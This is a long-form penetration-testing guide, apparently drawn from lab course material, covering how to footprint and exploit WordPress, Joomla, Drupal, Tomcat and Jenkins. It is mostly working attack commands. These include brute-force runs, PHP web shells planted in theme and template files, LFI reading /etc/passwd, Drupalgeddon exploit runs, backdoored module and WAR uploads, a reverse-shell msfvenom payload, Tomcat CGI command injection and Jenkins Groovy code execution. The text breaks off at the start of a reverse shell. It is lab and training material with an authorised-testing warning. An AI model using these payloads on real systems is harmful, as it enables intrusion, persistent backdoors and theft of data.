daemon-sec-cheatsheet

attacking-common-applications-guide.md (81048B)

---

 ---
 title: "Attacking Common Applications — Full Guide"
 description: "Detailed CPTS walkthrough for footprinting and exploiting common apps: WordPress, Joomla, Drupal, Tomcat, Jenkins, Splunk, PRTG, osTicket, GitLab, CGI/Shellshock, thick clients, ColdFusion, IIS tilde, LDAP injection, mass assignment, and connection-string recovery."
 category: pentest-workflow
 subcategory: "Companion Guides"
 order: 24
 tags: ["htb", "cpts", "attacking-common", "applications", "wordpress", "joomla", "drupal", "tomcat", "jenkins", "splunk", "prtg", "osticket", "gitlab", "shellshock", "coldfusion", "iis", "ldap", "thick-client", "pentest-workflow"]
 tools: ["nmap", "eyewitness / aquatone / httpx", "wpscan", "droopescan", "gobuster / feroxbuster / ffuf", "metasploit", "msfvenom", "curl / searchsploit", "dnSpy / de4dot / x64dbg / gdb-peda", "iis_shortname_scanner", "ldapsearch", "nxc / crackmapexec", "burp suite"]
 difficulty: intermediate
 updated: "2026-09-15"
 source: "vault:HackTheBox/Academy/CPTS Path/24-Attacking-Common-Applications"
 ---
 
 [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive](/sheets/pentest-workflow/web-enumeration-and-exploitation)
 
 # Attacking Common Applications — Full Guide `fas:ClipboardList`
 
 > [!dashboard] What this is
 > The long-form companion to the Attacking Common Applications cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up.
 
 Off-the-shelf applications are the softest part of most networks. A company patches its OS fleet and hardens AD, then leaves a Tomcat manager on `tomcat:tomcat`, a Splunk trial that quietly lost its login, or a WordPress plugin that hasn't shipped a fix since 2016. These apps sit on both the perimeter and the internal network, and one weak credential or forgotten install is often the whole foothold.
 
 Every target in this module answers to the same loop, so learn the loop rather than memorising eleven separate exploits:
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">App attack loop</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Sweep web ports<span class="sub">80,443,8000,8080,8180,8500,8009,8089,10000</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Fingerprint app + exact version<span class="sub">(headers, generator meta, changelog,</span><span class="sub">default paths, favicon)</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Reach the admin/management console<span class="sub">(default creds → weak-password spray → OSINT)</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Turn access into code execution</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Built-in feature:<span class="sub">theme/template editor, script console,</span><span class="sub">WAR/app/plugin upload, notification exec</span></div></div>
         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Version-specific CVE<span class="sub">(traversal, unauth upload, deserialisation)</span></div></div>
       </div>
       <div class="flow-join"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Shell as the service account<span class="sub">(often SYSTEM or root)</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Loot creds → pivot →<span class="sub">local privilege escalation</span></div></div>
     </div>
   </div>
 </figure>
 
 > [!danger] Authorised testing only
 > Every technique below is full exploitation — unauth RCE, credential theft, backdoored uploads. Run it only against systems you are explicitly authorised to test (a lab, a signed engagement). Three things to keep honest on a real assessment:
 > 1. **Admin-console RCE plants a live backdoor.** A web shell in `404.php`, an uploaded WAR, a malicious Splunk app — each is a real backdoor on a real box. Track every artefact you drop, its full path, and remove it at cleanup.
 > 2. **Some chains are destructive.** Joomla's CVE-2019-10945 can *delete* directories; Drupalgeddon writes to the database. Prefer read-only proof where you can.
 > 3. **OSINT and breach-data lookups touch third parties.** Keep them inside the rules of engagement.
 
 > [!success]+ Landing a shell — implant + hand-off
 > `fas:Spider`
 > Match the web-shell language to the server, then hand off to the right privesc guide:
 > - **PHP** (WordPress, Joomla, Drupal, osTicket): drop [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) or a one-line `system($_GET[...])`.
 > - **JSP** (Tomcat, ColdFusion-on-Java): package [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) as a WAR.
 > - **ASP/ASPX** (IIS): VBScript → `.asp`, C# → `.aspx`. Cross the wires and IIS answers `Server Error in '/' Application`.
 > - **Windows app host** (IIS, PRTG, Jenkins-on-Windows, ColdFusion): [Windows PrivEsc](/sheets/pentest-workflow/privilege-escalation) — service accounts here almost always hold `SeImpersonatePrivilege`.
 > - **Linux app host** (WordPress, Drupal, GitLab, Splunk, CGI): [Linux PrivEsc](/sheets/privilege-escalation/linux-privesc).
 > Full shell catalogue and handler notes: [Web Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).
 
 ---
 
 ## 1 · Application discovery at scale `fas:Terminal`
 
 Browsing every `IP:port` by hand does not scale past a handful of hosts. The workable approach is two Nmap passes feeding a screenshotter, so a wall of open ports becomes a ranked list of applications worth opening.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Discovery at scale</span><span class="flow__dir">LR</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="lr">
       <div class="flow-rank"><div class="flow-node is-entry">Scope list</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Fast web-port sweep<span class="sub">(-p 80,443,8000,8080,8180,8888,10000)</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Targeted -sV on responders<span class="sub">(this is what names Splunk/PRTG)</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Screenshot triage<span class="sub">EyeWitness / Aquatone / gowitness</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Review high-value hits first<span class="sub">(dev/qa/acc vhosts on top)</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Per-app footprint + exploit</div></div>
     </div>
   </div>
 </figure>
 
 Lab exercises with FQDN vhosts need `/etc/hosts` entries first, since every vhost resolves to the one spawned IP:
 
 ```bash
 IP=10.129.42.195
 printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts
 ```
 
 Sweep the scope for the ports web apps and their management consoles live on, writing all three Nmap formats so the XML can feed a screenshotter:
 
 ```bash
 sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
 ```
 
 `--open` drops closed/filtered noise; `-oA` writes `.nmap/.gnmap/.xml`; `-iL` reads targets from a file. Then run version detection on anything that answered — this is the step that turns "http on a weird port" into "Splunkd on 8000, PRTG on 8080":
 
 ```bash
 sudo nmap --open -sV 10.129.201.50
 ```
 
 ```
 80/tcp   open  http     Microsoft IIS httpd 10.0
 8000/tcp open  http     Splunkd httpd
 8080/tcp open  http     Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
 8089/tcp open  ssl/http Splunkd httpd (free license; remote login disabled)
 ```
 
 Feed the XML to a screenshotter and review the report — high-value targets surface first, and identical default landing pages cluster together so you can skip a fleet of clones:
 
 ```bash
 # EyeWitness (Selenium-driven, ships on Kali)
 eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
 
 # Aquatone (pipe the same Nmap XML)
 cat web_discovery.xml | ./aquatone -nmap
 ```
 
 > [!tip]+ Modern triage — httpx + nuclei
 > `fas:Lightbulb`
 > EyeWitness and Aquatone still work and still ship on Kali, but the Go tooling is faster and better maintained. `httpx -screenshot` probes and fingerprints huge lists quickly and pipes straight into `nuclei` for follow-on scanning; `gowitness` is a headless-Chrome screenshotter that sets up in seconds. Fold Splunk's `Splunkd httpd`, PRTG's `Indy httpd`, and Tomcat's `Server` banner into a `nuclei` fingerprint pass across the whole scope.
 
 > [!info] Flag the non-prod vhosts first
 > Hostnames with `dev`, `qa`, `acc`, `stage`, or `test` are patched last and gated loosest — verbose errors, debug modes, half-finished features. When the screenshot report lists a dozen sites, start there.
 
 ---
 
 ## 2 · WordPress `fas:Terminal` — PHP, port 80
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/wordpress.svg" alt="WordPress logo" style="height:54px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>WordPress · world's most common CMS</span></figcaption>
 </figure>
 
 WordPress runs roughly a third of the web, so it turns up on almost every external test. The risk lives in its ~50k-plugin ecosystem, not in core — over half of known WordPress CVEs are plugin or theme bugs. Two reliable routes to code execution: brute an admin login and use the built-in Theme Editor, or exploit a vulnerable plugin directly.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">WordPress to RCE</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Footprint: robots.txt,<span class="sub">page source, wp-admin redirect</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Enumerate plugins/themes/users</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">WPScan + manual review</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak admin creds</span></div><div class="flow-node">XML-RPC / wp-login brute force</div><div class="flow-edge"></div><div class="flow-node">Appearance → Theme Editor →<span class="sub">edit 404.php of an inactive theme</span></div><div class="flow-edge"></div><div class="flow-node">system($_GET[...]) web shell</div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Vulnerable plugin</span></div><div class="flow-node">Direct exploit<span class="sub">(mail-masta LFI, wpDiscuz upload)</span></div></div>
       </div>
       <div class="flow-join"></div>
       <div class="flow-rank"><div class="flow-node is-goal">www-data shell</div></div>
     </div>
   </div>
 </figure>
 
 **Footprint.** The `wp-admin`/`wp-content` paths (also in `robots.txt`) are the fastest tell — hitting `/wp-admin` redirects to `wp-login.php`. Grepping the homepage source reveals the active theme, every enqueued plugin, and each version string:
 
 ```bash
 curl -s http://blog.inlanefreight.local | grep -Ei 'wordpress|themes|plugins'
 #  <meta name="generator" content="WordPress 5.8" />
 #  ...wp-content/themes/transport-gravity/...   ?ver=5.8
 ```
 
 A directory listing on `wp-content/plugins/<plugin>/` often exposes a `readme.txt` that pins the exact plugin version for a CVE lookup. WordPress's default login also leaks valid usernames: "unknown user" and "wrong password" produce different errors — an enumeration oracle WPScan drives with `--enumerate u`.
 
 **Enumerate with WPScan.** An API token cross-references identified versions against the live vuln database (free tier: 75 requests/day):
 
 ```bash
 sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
 #  --enumerate with no arg = plugins, themes, users, media, backups
 #  --enumerate ap = all plugins   ·   --enumerate u = users
 ```
 
 > [!warning] Scanners and manual review are complementary
 > In the module's own run, WPScan corrected the theme guess and found a second user (`john`) — but *missed* two plugins (wpDiscuz, Contact Form 7) that a plain `curl | grep` caught. Always do both. `waybackurls` can also surface plugin paths that were unlinked but never deleted from disk — exactly what left mail-masta exploitable.
 
 **Brute force over XML-RPC.** `xmlrpc.php` accepts many login attempts per request, so it is far faster than hammering `wp-login.php`:
 
 ```bash
 sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
 #  [SUCCESS] - john / firebird1
 ```
 
 **RCE via the Theme Editor.** Any Administrator can edit theme PHP in the browser — admin is effectively RCE. Edit an *inactive* theme so you don't break the live site, and use an unguessable parameter name so a passer-by can't reuse your shell:
 
 ```php
 // Appearance → Theme Editor → Twenty Nineteen → 404.php
 system($_GET[0]);
 ```
 ```bash
 curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id"
 #  uid=33(www-data) gid=33(www-data) groups=33(www-data)
 ```
 
 The whole flow is automated by `exploit/unix/webapp/wp_admin_shell_upload` (uploads a malicious plugin carrying a PHP Meterpreter, then self-cleans on session close).
 
 **Vulnerable plugins, no login needed.**
 
 ```bash
 # mail-masta — unauthenticated LFI (pl= goes straight into include())
 curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
 
 # wpDiscuz CVE-2020-24186 — client-side-only MIME check → PHP upload
 python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
 curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"
 ```
 
 ---
 
 ## 3 · Joomla `fas:Terminal` — PHP/MySQL
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/joomla.svg" alt="Joomla logo" style="height:58px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Joomla · PHP/MySQL CMS</span></figcaption>
 </figure>
 
 Third-most-used CMS. Unlike WordPress, the login returns a generic error for any wrong field, so username enumeration doesn't work — footprinting leans on files, and brute forcing targets the known `admin` account with a password list.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Joomla to RCE</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Footprint: generator meta,<span class="sub">README.txt, robots.txt</span></div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Version: joomla.xml, cache.xml</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">droopescan / JoomlaScan</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Admin access?</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak/default admin</span></div><div class="flow-node">Templates → Customise → error.php</div><div class="flow-edge"></div><div class="flow-node is-goal">system($_GET[...]) web shell</div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No admin</span></div><div class="flow-node is-danger">CVE-2019-10945 traversal<span class="sub">(auth; also deletes files)</span></div></div>
       </div>
     </div>
   </div>
 </figure>
 
 **Footprint and version.** The `generator` meta tag, `robots.txt` (references `/administrator/`), and `README.txt` are the quick tells. Two XML files leak the exact version when readable:
 
 ```bash
 curl -s http://dev.inlanefreight.local/ | grep Joomla
 curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
 #  <version>3.9.4</version>          (also plugins/system/cache/cache.xml)
 ```
 
 `whatweb` is a fast passive cross-check. `droopescan` has only light Joomla support — expect useful paths, not a full plugin list:
 
 ```bash
 droopescan scan joomla --url http://dev.inlanefreight.local/
 ```
 
 > [!tip] JoomlaScan is Python 2.7 and effectively abandoned
 > It still runs but treat it as supplementary. There's no drop-in successor with the same feature set — `droopescan` plus manual `curl`/`whatweb` is the more reliable Joomla combination now.
 
 **Brute the admin login** (generic error → spray passwords against `admin`):
 
 ```bash
 sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 #  Success: admin:admin
 ```
 
 **RCE via the template Customise editor** — same idea as WordPress's Theme Editor:
 
 ```php
 // Configuration → Templates → protostar → Customise → error.php
 system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
 ```
 ```bash
 curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
 ```
 
 **Pre-/post-auth fallback — CVE-2019-10945** (core 1.5.0–3.9.4): an authenticated directory traversal that lists and *deletes* arbitrary directories. Useful when the admin portal isn't externally reachable but you have a session another way. File deletion is destructive — avoid it on a live assessment.
 
 ```bash
 python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
 ```
 
 ---
 
 ## 4 · Drupal `fas:Terminal`
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/drupal.svg" alt="Drupal Druplicon logo" style="height:66px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Drupal · the Druplicon</span></figcaption>
 </figure>
 
 Smaller share overall but common in government and higher-ed. Its content model — every item is a "node" at `/node/<id>` — is a fingerprint on its own. Admin access alone isn't instant RCE here: you enable the PHP Filter module, upload a backdoored module, or use one of the three Drupalgeddon CVEs.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Drupal to RCE</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <svg class="flow-svg" viewBox="0 0 1050 600" role="img" aria-label="Drupal footprint to droopescan to an admin-access decision branching to PHP Filter, manual install, backdoored module, or Drupalgeddon SQLi; the SQLi path feeds the PHP Filter node, and three RCE paths converge on a www-data shell">
       <path class="fedge" d="M525,88 L525,160" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M525,208 L525,280" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M525,328 L150,400" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M525,328 L400,400" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M525,328 L650,400" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M525,328 L900,400" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M260,424 L290,424" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M400,448 L525,520" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M650,448 L525,520" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M900,448 L525,520" marker-end="url(#flow-arrow)" />
       <g class="fnode is-entry"><rect class="fnode__box" x="405" y="40" width="240" height="48" /><text class="fnode__label" x="525" y="60" text-anchor="middle">Footprint: 'Powered by Drupal',<tspan class="sub" x="525" dy="15">CHANGELOG.txt, /node/&lt;id&gt;</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="415" y="160" width="220" height="48" /><text class="fnode__label" x="525" y="188" text-anchor="middle">droopescan: version + modules</text></g>
       <g class="fnode is-decision"><rect class="fnode__box" x="425" y="280" width="200" height="48" /><text class="fnode__label" x="525" y="308" text-anchor="middle">Admin access?</text></g>
       <g class="fnode"><rect class="fnode__box" x="40" y="400" width="220" height="48" /><text class="fnode__label" x="150" y="420" text-anchor="middle">Drupalgeddon SQLi<tspan class="sub" x="150" dy="15">→ rogue admin</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="290" y="400" width="220" height="48" /><text class="fnode__label" x="400" y="420" text-anchor="middle">Enable PHP Filter module<tspan class="sub" x="400" dy="15">→ Basic page with PHP code</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="540" y="400" width="220" height="48" /><text class="fnode__label" x="650" y="420" text-anchor="middle">Install PHP Filter manually,<tspan class="sub" x="650" dy="15">then as above</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="790" y="400" width="220" height="48" /><text class="fnode__label" x="900" y="420" text-anchor="middle">Upload backdoored module<tspan class="sub" x="900" dy="15">(shell.php + .htaccess)</tspan></text></g>
       <g class="fnode is-goal"><rect class="fnode__box" x="450" y="520" width="150" height="48" /><text class="fnode__label" x="525" y="548" text-anchor="middle">www-data shell</text></g>
       <g class="felabel"><rect class="felabel__box" x="306" y="356" width="62" height="16" /><text class="felabel__text" x="337" y="367" text-anchor="middle">No admin</text></g>
       <g class="felabel"><rect class="felabel__box" x="431" y="356" width="62" height="16" /><text class="felabel__text" x="462" y="367" text-anchor="middle">Drupal 7</text></g>
       <g class="felabel"><rect class="felabel__box" x="553" y="356" width="68" height="16" /><text class="felabel__text" x="587" y="367" text-anchor="middle">Drupal 8+</text></g>
       <g class="felabel"><rect class="felabel__box" x="672" y="356" width="80" height="16" /><text class="felabel__text" x="712" y="367" text-anchor="middle">Any version</text></g>
     </svg>
   </div>
 </figure>
 
 **Footprint.** `Powered by Drupal`, the Drupal logo, `CHANGELOG.txt`/`README.txt`, and `/node/<id>` URIs. Newer versions block `CHANGELOG.txt`, so a 404 there doesn't rule Drupal out — fall back to droopescan, which has mature Drupal support:
 
 ```bash
 curl -s http://drupal.inlanefreight.local | grep -i drupal
 curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""    # Drupal 7.57, 2018-02-21
 droopescan scan drupal -u http://drupal.inlanefreight.local
 ```
 
 **RCE — PHP Filter module (Drupal 7).** Ships with core but disabled. Enable it, then create a Basic page with the "PHP code" text format:
 
 ```php
 <?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>
 ```
 ```bash
 curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id"
 ```
 
 Drupal 8 removed the module from core — download and install it manually (`Reports → Available updates → Install new module`), then exploit identically.
 
 **RCE — backdoored module upload (any version).** Drupal blocks direct access to `/modules`, so bundle an `.htaccess` that re-enables it alongside your shell inside a legitimate module archive:
 
 ```bash
 wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz
 # shell.php:  <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?>
 # .htaccess:  <IfModule mod_rewrite.c>\n RewriteEngine On\n RewriteBase /\n</IfModule>
 mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/
 #  Manage → Extend → + Install new module → captcha.tar.gz
 curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
 ```
 
 **Drupalgeddon family:**
 
 ```bash
 # CVE-2014-3704 (Drupalgeddon) · pre-auth SQLi, 7.0–7.31 → inserts a rogue admin
 python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
 #  msf: exploit/multi/http/drupal_drupageddon
 
 # CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1
 python3 drupalgeddon2.py       # edit the PoC's write step to drop a base64 PHP shell instead of hello.txt
 curl "http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
 
 # CVE-2018-7602 (Drupalgeddon3) · authenticated RCE (needs node-delete rights + session cookie)
 #  msf: set DRUPAL_SESSION <cookie> ; set DRUPAL_NODE 1 ; set VHOST drupal-acc.inlanefreight.local
 ```
 
 > [!tip] Prefer the Metasploit modules
 > The standalone Drupalgeddon PoCs are Python 2 (end-of-life). `drupal_drupageddon` and `drupal_drupageddon3` do the same job without a legacy interpreter on your attack box.
 
 ---
 
 ## 5 · Tomcat `fas:Terminal` — 8080/8180, AJP 8009
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/tomcat.svg" alt="Apache Tomcat logo" style="height:58px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Apache Tomcat · Java servlet container</span></figcaption>
 </figure>
 
 Apache Tomcat serves Java servlets/JSP and is more common internally than externally. Weak creds on `/manager` or `/host-manager` let you deploy a WAR (a zipped JSP shell) through the GUI or API — near-instant RCE, usually as a very privileged service account.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Tomcat to RCE</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Footprint: Server header, /docs</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Find /manager, /host-manager</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Brute the manager login</div><div class="flow-edge"><span class="flow-edge__label">Success</span></div><div class="flow-node">Deploy JSP-in-WAR<span class="sub">via GUI/API</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Shell as Tomcat account<span class="sub">(often SYSTEM/root)</span></div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No manager</span></div><div class="flow-node">AJP 8009 → Ghostcat<span class="sub">CVE-2020-1938 file read</span></div><div class="flow-edge"></div><div class="flow-node">Read WEB-INF/web.xml, configs</div></div>
       </div>
     </div>
   </div>
 </figure>
 
 > [!info] Tomcat layout worth knowing
 > `conf/tomcat-users.xml` holds manager credentials and roles (`manager-gui`, `manager-script`, `manager-jmx`, `manager-status`). `webapps/<app>/WEB-INF/web.xml` is the deployment descriptor mapping routes to classes — a prime target for any file-read primitive.
 
 **Footprint and locate the manager.** The `Server` header leaks the version when a proxy hasn't stripped it; `/docs` is a reliable fallback. Content-discovery confirms the manager apps:
 
 ```bash
 curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat     # Apache Tomcat 9 (9.0.30)
 feroxbuster -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
 #  /manager (302) · /host-manager (302)
 ```
 
 **Brute the manager login** (Basic Auth — creds are base64 `user:pass` in the `Authorization` header):
 
 ```bash
 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58
 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
 msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
 #  [+] Login Successful: tomcat:admin
 ```
 
 **Deploy a WAR-packaged JSP shell.** A WAR is just a zip; Tomcat auto-extracts uploads and serves them at `/<archive-name>/`:
 
 ```bash
 wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
 zip -r backup.war cmd.jsp
 #  Manager → Deploy → backup.war
 curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id"     # uid=1001(tomcat)
 #  Reverse-shell WAR in one line:
 #  msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > backup.war
 ```
 
 Undeploy the app after use and record the upload path (`$CATALINA_HOME/webapps/`) for the report.
 
 **CVE-2020-1938 (Ghostcat)** — unauthenticated AJP file read on Tomcat < 9.0.31 / 8.5.51 / 7.0.100. The AJP connector (normally for front-end proxying) reads files under `webapps/` — not the whole filesystem, but enough to pull `WEB-INF/web.xml`:
 
 ```bash
 nmap -sV -p 8009,8080 app-dev.inlanefreight.local          # 8009 ajp13 Apache Jserv
 python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
 ```
 
 **CVE-2019-0232** — CGI Servlet command injection, Windows only, with `enableCmdLineArguments` set. The query string isn't sanitised before becoming command-line arguments, so `&` chains a command onto a legitimate `.bat`/`.cmd` CGI script. The special-char filter is bypassable with URL encoding:
 
 ```bash
 ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat   # welcome.bat
 #  http://10.129.204.227:8080/cgi/welcome.bat?&dir
 #  http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
 ```
 
 ---
 
 ## 6 · Jenkins `fas:Terminal` — 8080 (agent 5000)
 
 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
     <img src="/diagrams/attacking-common-applications/jenkins.svg" alt="Jenkins butler mascot logo" style="height:88px;width:auto" loading="lazy" decoding="async" />
   </span>
   <figcaption><span>Jenkins · CI/CD automation server</span></figcaption>
 </figure>
 
 Jenkins is a CI server that frequently runs as `SYSTEM` (Windows) or `root` (Linux). Any authenticated access — even anonymous, if misconfigured — reaches the `/script` Groovy console, and Groovy compiles to JVM bytecode running with the full privileges of the Jenkins process. That makes it a fast, privileged foothold straight into an AD environment, skipping local privesc entirely.
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Jenkins to RCE</span><span class="flow__dir">TD</span></figcaption>
   <div class="flow__body">
     <div class="flow__diagram" data-dir="td">
       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint login on :8080</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-decision">Auth?</div></div>
       <div class="flow-branches">
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">None / weak creds</span></div></div>
         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Anon build+job rights</span></div></div>
       </div>
       <div class="flow-join"></div>
       <div class="flow-rank"><div class="flow-node">/script Groovy console</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node">Runtime.exec() → reverse shell</div></div>
       <div class="flow-edge"></div>
       <div class="flow-rank"><div class="flow-node is-goal">Shell as SYSTEM/root</div></div>
     </div>
   </div>
 </figure>
 
 **Access the console** at `http://jenkins.inlanefreight.local:8000/script`. Run a command:
 
 ```groovy
 def cmd = 'id'
 def sout = new StringBuffer(), serr = new StringBuffer()
 def proc = cmd.execute()
 proc.consumeProcessOutput(sout, serr)
 proc.waitForOrKill(1000)
 println sout
 ```
 
 **Reverse shell (Linux)** — pass the payload as a raw process array to dodge Groovy string-interpolation issues:
 
 ```groovy
 r = Runtime.getRuntime()
